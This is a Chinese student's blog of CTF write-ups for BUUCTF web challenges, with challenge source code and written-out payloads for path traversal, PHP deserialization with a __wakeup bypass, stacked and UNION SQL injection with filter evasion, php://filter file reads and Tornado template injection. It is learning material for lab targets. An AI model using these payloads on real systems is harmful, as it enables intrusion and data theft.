写在前面
刷题在北联大的BUU平台,每日一题,每日更新,嘿嘿
[HCTF 2018]WarmUp
刚开始看这个题真的一点思路没有,看源码、抓包一波操作过后还是选择去找了wp。。。
wp说原题是有个hint.php
,扫目录也可以扫出source.php
hint.php
里面说真正的flag文件是ffffllllaaaagggg
里
source.php
里面是源码,代码审计的题,看到有include
函数估计是个文件包含的题目,包含的文件应该就是hint
里面说的ffffllllaaaagggg
文件
代码审计
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
# page不存在或者不是字符串,返回false
if (in_array($page, $whitelist)) {
return true;
}
# 在whitelist数组中找page的值,这一步肯定是false
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
# 拼接一个 ? 到page后面
# 返回要查找的字符串在另一个字符串中首次出现的位置
);
# 返回page字符串中第一个字符到第一个?的数据赋值给_page,其实也就是page的值
# 所以该代码就表示截取$page中'?'前部分,若无则截取整个$page
if (in_array($_page, $whitelist)) {
return true;
}
# 在whitelist数组中找_page的值
$_page = urldecode($page);
# page url解码赋值给_page
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
# 返回_page字符串中第一个字符到第一个?的数据再赋值给_page
if (in_array($_page, $whitelist)) {
return true;
}
# 在whitelist数组中找_page的值
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])) {
include $_REQUEST['file'];
exit;
}
# file传参不为空,file值要是字符串,checkfile返回值为真
else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
file 传参不为空,file 值要是字符串,checkFile 函数返回值为真,满足三个条件即可
page 的内容要在 whitelist 里
mb_substr($page,0,mb_strpos($page.'?','?'))
表示截取$page
中?
的前部分,若无则截取整个$page
payload:
?file=hint.php?/../../../../../ffffllllaaaagggg
,原理是hint.php?/
被当作目录,用于绕过白名单 whitelist,之后慢慢上跳目录
[极客大挑战 2019]PHP1
写在前面
这题其实我早就做过,当时准备校梦极光杯的时候,找反序列化的题目找到的这题,算是我 php 反序列化的启蒙题,现在有空静下心来再做一遍,
顺便水一篇blog
首先是题目的暗示,==有一个良好的备份网站的习惯==,url 添加.bak
结果是 404 ,用御剑骚一波,很可惜,我两个版本的御剑都没扫出东西,开 kali 用 dirsearch 扫一波发现有www.zip
,访问,下载备份下来
看到有个flag.php
以为这题目,就这?结果是个假的 flag ,麻了
接下来老老实实审index.php
和class.php
index.php
<!DOCTYPE html>
<head>
<meta charset="UTF-8">
<title>I have a cat!</title>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/meyer-reset/2.0/reset.min.css">
<link rel="stylesheet" href="style.css">
</head>
<style>
#login{
position: absolute;
top: 50%;
left:50%;
margin: -150px 0 0 -150px;
width: 300px;
height: 300px;
}
h4{
font-size: 2em;
margin: 0.67em 0;
}
</style>
<body>
<div id="world">
<div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 85%;left: 440px;font-family:KaiTi;">因为每次猫猫都在我键盘上乱跳,所以我有一个良好的备份网站的习惯
</div>
<div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 80%;left: 700px;font-family:KaiTi;">不愧是我!!!
</div>
<div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 70%;left: 640px;font-family:KaiTi;">
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
</div>
<div style="position: absolute;bottom: 5%;width: 99%;"><p align="center" style="font:italic 15px Georgia,serif;color:white;"> Syclover @ cl4y</p></div>
</div>
<script src='http://cdnjs.cloudflare.com/ajax/libs/three.js/r70/three.min.js'></script>
<script src='http://cdnjs.cloudflare.com/ajax/libs/gsap/1.16.1/TweenMax.min.js'></script>
<script src='https://s3-us-west-2.amazonaws.com/s.cdpn.io/264161/OrbitControls.js'></script>
<script src='https://s3-us-west-2.amazonaws.com/s.cdpn.io/264161/Cat.js'></script>
<script src="index.js"></script>
</body>
</html>
# 里面嵌入了一个 php 脚本
<?php
include 'class.php'; # 包含class.php文件
$select = $_GET['select']; # get传参一个select
$res=unserialize(@$select); # 将select反序列化,从此猜测出来考点就是反序列化
?>
class.php
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
# 定义两个私有属性,username和passwor的
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
# __construct函数:构造函数实例化类的时候会自动调用
function __wakeup(){
$this->username = 'guest';
}
# 反序列化时,自动调用__wakeup函数,将username值改为guest
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
# 在对象被销毁的时候会调用__destruct析构函数,当username值强等于admin时候,echo打印flag值,同时password要求等于100
# 因为在select传参的时候进行了反序列化,会调用__wakeup函数,username的值会改变为guest
}
?>
这题最重要的考点:==__wakeup()的绕过==
如果序列化后的字符串中表示属性个数的数字与真实属性个数一致,那么就调用
__wakeup()
函数。 但是当属性个数的值大于真实属性个数时,会自动跳过__wakeup()
函数的执行这题第二重要的考点:==public、protected 与 private 在序列化时的区别==
protected 声明的字段为保护字段,在所声明的类和该类的子类中可见,但在该类的对象实例中不可见。因此保护字段的字段名在序列化时,字段名前面会加上\0*\0的前缀。这里的 \0 表示 ASCII 码为 0 的字符(不可见字符),而不是 \0 组合。这也许解释了,为什么如果直接在网址上,传递\0*\0username会报错,因为实际上并不是\0,只是用它来代替ASCII值为0的字符。必须用python传值才可以
==private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上\0的前缀。字符串长度也包括所加前缀的长度。其中 \0 字符也是计算长度的==
懒得写 python 所以用
%00
代替\0
同理,如果是 protected 的内容,则需要用
%00\*%00username
这样的方式
# payload
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
[强网杯 2019]随便注
参考的师傅们的文章
常规思路,爆字段先,1' order by 3#
报错,1' order by 2#
可以
1' union select 1,2#
发现不对劲,题目把select
update
delete
drop
insert
where
全过滤掉了,常用的只留下了show
和alert
百度之后学到了 SQL注入的新操作:==堆叠注入==,顾名思义就是一堆 sql 语句(多条)一起执行,在PHP中,mysqli_multi_query()
函数可以多语句查询SQL,但是一般不用这个函数,一般用mysqli_ query()
,所以这个使用场景有限,但是杀伤力很大
1';show databases;# 爆一下库,但是后面好像没用到
1';show tables;# 爆表名,得到1919810931114514 和words两个表
1';show columns from `words`;# 爆一下words的字段
words 表应该就是默认显示的那张表了
1';show columns from `1919810931114514`;# 爆一下另一张表
发现 flag
打到这里发现没思路了,感觉正则把要用的东西都过滤完了,想了好久决定回宿舍洗个澡
洗完澡回来之后依旧是不会写,==协会里扫地打扫卫生的学长==看了一眼,给我指点了一下,思路一下子就清晰起来了 :)
方法一:替换默认表
默认数据表为words
,没有过滤alert
和rename
,所以可以把表和列改名,让含 flag 的表成为默认的表,先把 words
改为其他,再把1919810931114514
改为 words
,然后把新的 words
表里的 flag
列改为 id
,这样就可以直接查询 flag 了
payload如下:
1';alter table `words` rename to `words1`;alter table `1919810931114514` rename to `words`;alter table `words` change `flag` `id` varchar(100);## ALTER TABLE tiger (表名) CHANGE tigername(要修改的列) name (修改后的列名) VARCHAR(20)(类型);
使用 /?inject=1' or 1='1
访问一下即可获得 flag
方法二:handler
- mysql 除可使用
select
查询表中的数据,也可使用handler
语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler
语句并不具备select
语句的所有功能。它是 mysql 专用的语句,并没有包含到SQL标准中。
payload如下:
1';handler `1919810931114514` open;handler `1919810931114514` read first;#
方法三:预编译绕过正则过滤
- 这个骚操作去看了wp
SQL 语句的执行处理 1、即时 SQL 一条 SQL 在 DB 接收到最终执行完毕返回,大致的过程如下:
1. 词法和语义解析; 2. 优化 SQL 语句,制定执行计划; 3. 执行并返回结果; 如上,一条 SQL 直接是走流程处理,一次编译,单次运行,此类普通语句被称作 Immediate Statements (即时 SQL)。
2、预处理 SQL 但是,绝大多数情况下,某需求某一条 SQL 语句可能会被反复调用执行,或者每次执行的时候只有个别的值不同(比如 select 的 where 子句值不同,update 的 set 子句值不同,insert 的 values 值不同)。如果每次都需要经过上面的词法语义解析、语句优化、制定执行计划等,则效率就明显不行了。 所谓预编译语句就是将此类 SQL 语句中的值用占位符替代,可以视为将 SQL 语句模板化或者说参数化,一般称这类语句叫Prepared Statements。 预编译语句的优势在于归纳为:一次编译、多次运行,省去了解析优化等过程;此外预编译语句能防止 SQL 注入。
相当于把常用的那些 SQL 语句写死,只留下一个空位,不管传进来什么东西,都不会改变这个语句的结构,比如 select * from (),括号内就是传进来的参数,前面的
select * from
不会因为后面传进来的参数而改变,防止 SQL 注入最好的选择
SET; # 用于设置变量名和值PREPARE stmt_name FROM preparable_stmt; # 用于预备一个语句,并赋予名称,以后可以引用该语句EXECUTE stmt_name; # 执行语句{DEALLOCATE | DROP} PREPARE stmt_name; # 用来释放掉预处理的语句
payload如下:
1';SeT@sql=CONCAT('se','lect * from `1919810931114514`;');PrePare stmt from @sql;execute stmt;# set和prepare参数有strstr函数拦截,用大小写方式绕过,这个大佬用的 se 和 lect 拼接,另一个大佬用hex加密 select * from `1919810931114514`1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#
方法四:命令执行GetFlag
这个学不动了,留着之后回来看看
总结学到的操作
- MySql 中用一对反引号来标注 SQL 语句中的标识,如数据库名、表名、字段名等
- 引号则用来标注语句中所引用的字符型常量或日期/时间型常量,即字段值
- ==堆叠注入的原理,使用场景==
- ==SQL 预编译==
- strstr 函数大小写绕过
- ==mysql的 handler 查询==
10.12号生病,暂停一天
[SUCTF 2019]EasySQL
初见题目,跟上一题强网杯的随便注差不多的样子
随便试了一下,发现就三种回显
输入SQL语句
输入 1
由于前天就学会了堆叠注入,所以这题也试了一下,发现也是可以有东西
1;show tabels;
这里看到了有 Flag 表,尝试堆叠注入继续,结果却是 nonono
1;show columns from `Flag`;
应该是过滤掉了from
和Flag
,而且比上一题随便注过滤了更多,想了很久想不到,估计应该又是我没学过的骚操作,所以去看了wp,wp说比赛环境里存在源码泄露,index.php.swp
,buu 这个环境没有,贴上源码审一波
<?php session_start(); include_once "config.php"; $post = array(); $get = array(); global $MysqlLink; //GetPara(); $MysqlLink = mysqli_connect("localhost",$datauser,$datapass); if(!$MysqlLink){ die("Mysql Connect Error!"); } $selectDB = mysqli_select_db($MysqlLink,$dataName); if(!$selectDB){ die("Choose Database Error!"); } foreach ($_POST as $k=>$v){ if(!empty($v)&&is_string($v)){ $post[$k] = trim(addslashes($v)); } } foreach ($_GET as $k=>$v){ } } //die(); ?><html><head></head><body><a> Give me your flag, I will tell you if the flag is right. </ a><form action="" method="post"><input type="text" name="query"><input type="submit"></form></body></html><?php if(isset($post['query'])){ $BlackList = "prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile |readfile|where|from|union|update|delete|if|sleep|extractvalue| updatexml|or|and|&|\""; //var_dump(preg_match("/{$BlackList}/is",$post['query'])); if(preg_match("/{$BlackList}/is",$post['query'])){ //echo $post['query']; die("Nonono."); } if(strlen($post['query'])>40){ die("Too long."); } $sql = "select ".$post['query']."||flag from Flag"; mysqli_multi_query($MysqlLink,$sql); do{ if($res = mysqli_store_result($MysqlLink)){ while($row = mysqli_fetch_row($res)){ print_r($row); } } }while(@mysqli_next_result($MysqlLink)); }?>
源码里后半段的 php 脚本里有黑名单,过滤掉了绝大部分注入关键字,但是给出了注入点的传参语句
$sql = "select ".$post['query']."||flag from Flag";
方法一:把||
变成字符串连接符
涉及到mysql中sql_mode参数设置,设置 sql_mode=pipes_as_concat
字符就可以设置,sql_mode设置
在oracle 缺省支持 通过 ‘ || ’ 来实现字符串拼接。 但在mysql 缺省不支持。需要调整mysql 的sql_mode 模式:pipes_as_concat 来实现oracle 的一些功能
这里问了学长一个很蠢的问题,“缺省”是什么意思,结果缺省就是默认的意思,又学到了
payload:
1;set sql_mode=PIPES_AS_CONCAT;select 1
方法二:*,1
payload:
*,1源码里查询语句:$sql = "select ".$post['query']."||flag from Flag";当$post['query'] = *,1时,sql 语句为select *,1||flag from Flag即 select *,1 from Flag,就直接能查询 Flag 表中所有内容
对这个方法其实有很多疑问
select 1 from
是啥意思
当我们只想知道数据表中有多少记录行而不需要知道具体的字段值的时候,类似“select 1 from tblName”是一个很不错的SQL语句写法,可以减少系统开销,提高运行效率,查询到有多少行就输出多少个
1
,每个1
代表有一行记录使用时,会在表中增加临时列,每行的列值就是写在
select
后的数,在使用payload1;set sql_mode=PIPES_AS_CONCAT;select 1
时回显里有显示
为什么select * || flag from Flag
不行
*
在 SQL 语句中有特殊含义,直接使用select * || flag from Flag
报语法错误,而使用反引号将星号引起来就不会||
是逻辑运算符- 当两个操作数都为非 NULL 值时,如果有任意一个操作数为非零值,则返回值为 1,否则结果为 0
- 当有一个操作数为NULL 时,如果另一个操作数为非零值,则返回值为 1,否则结果为NULL
- 假如两个操作数均为 NULL 时,则返回值为 NULL
- 如果这题查询语句改为
sql=“select flag||”.post[‘query’]." from Flag";
方法二将失效
10.14上课空闲时间整了几题,不在预期内,有点简单
[极客大挑战 2019]EasySQL
登录框 + 题目 EasySQL,猜测万能密码admin' or 1=1#
[极客大挑战 2019]Havefun
进来就一个猫,还会动,挺可爱的,所以我选择右键查看源码,一路看下来找到被注释掉的传参语句
以为传参cat = dog
会出假 flag,结果直接出正确答案了
[极客大挑战 2019]Secret File
看第一眼题目也是没啥东西,右键看源码发现有/Archive_room.php
,访问
点击会跳到end.php
,开启burp抓包看看是不是返回包里错过了啥,结果在返回包里发现secr3t.php
,访问
跳到了代码审计环节
<?php highlight_file(__FILE__); error_reporting(0); $file=$_GET['file']; if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){ echo "Oh no!"; exit(); } include($file); //flag放在了flag.php里?>
include 本地文件包含漏洞,过滤函数没有过滤file伪协议,所以用伪协议读php://filter/convert.base64-encode/resource
,得到的base64拿去解码,得到 flag
php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。 环境概要: PHP.ini: allow_url_fopen :on 默认开启 该选项为on便是激活了 URL 形式的 fopen 封装协议使得可以访问 URL 对象文件等。 allow_url_include:off 默认关闭,该选项为on便是允许 包含URL 对象文件等。
payload:
?file=php://filter/convert.base64-encode/resource=flag.php
关于 php 伪协议,学习了几个大佬的文章
[ACTF2020 新生赛]Include
点进题目有个tips
,点进去以后发现?file=flag.php
结合题目标题 include 猜测php://filter
伪协议读文件
应该是得到了flag.php
的base64编码后的文件
找个网站解一下码,得到 flag
[护网杯 2018]easy_tornado
刚开始进来看到题目,信息还是挺多的
/flag.txtflag in /fllllllllllllag file?filename=/flag.txt&filehash=949e1b3d04ef60ff02ffc6f6bb34fdae
/welcome.txtrenderfile?filename=/welcome.txt&filehash=f123ac29baec2ab4ba71527c69fb5e27
/hints.txtmd5(cookie_secret+md5(filename))file?filename=/hints.txt&filehash=25e57d65d8b56f0088974e199fafd121
依次点开发现得到以下内容,通过观察发现file?filename=/文件名&文件的md5值
,其中 hints.txt 里面提示md5(cookie_secret+md5(filename))
,welcome.txt 里面提示一个render
是渲染的意思,flag.txt 里面是通知一声 flag 在fllllllllllllag
里面,这个题的题目里tornado
是 Python 的一个模板
当有文件名或文件md5值不匹配时,将会跳转到 Error 页面
这题是触及到知识盲区了,==协会里面扫地学长==看了我一眼,告诉我是SSTI服务器模板注入
因此,通过handler.application
即可访问整个tornado。简单而言通过{{handler.application.settings}}
或者{{handler.settings}}
就可获得settings
中的cookie_secret
找个 md5 加密网站搞一搞就出来了
总结一下
因为没有过开发的经历,所以这题根本就无从下手,其实看了很多wp也还是感觉半懂不懂的,之后得找时间补回来,或者尝试用python的这个框架写个项目研究一下
[极客大挑战 2019]LoveSQL
题目还是熟悉的画面,先来一个万能密码
登陆成功,但是 password 的值是一个解不出来的md5,但是 url 处有注入点
爆字段?username=admin' order by 3%23 &password=1
回显正常,字段为3
爆当前数据库?username=1' union select 1,2,database()%23&password=1
,为 geek
爆表?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1
因为题目是 lovesql,所以爆表l0ve1ysq1
的字段?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'%23&password=1
爆数据1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1
,拿到 flag
踩坑点:url 里会对标点符号进行一次 url 编码,所以
#
要用%23
未完待续......